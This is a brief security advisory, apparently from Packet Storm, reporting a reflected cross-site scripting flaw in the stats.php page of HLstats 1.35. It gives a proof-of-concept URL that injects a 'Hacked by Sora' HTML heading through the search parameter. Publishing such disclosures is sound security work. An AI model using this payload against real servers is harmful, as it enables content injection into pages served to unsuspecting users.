HLstats version 1.35 suffers from a cross site scripting vulnerability. Same issue as previously discovered in 1.34.
1c0107515ae5fb400c7068193fc93d88f1835735bbde29ae58e65a4127fb2ecb-------------------------------------------
> HLstats 1.35 XSS Exploit
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/
# Description:
HLstats 1.35 is vulnerable to XSS in stats.php.
# PoC:
http://server/stats.php?mode=search&q=%3Ch2%3EHacked+by+Sora+-+grey.hat.hackers%3C%2Fh2%3E&st=player&game=cstrike
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed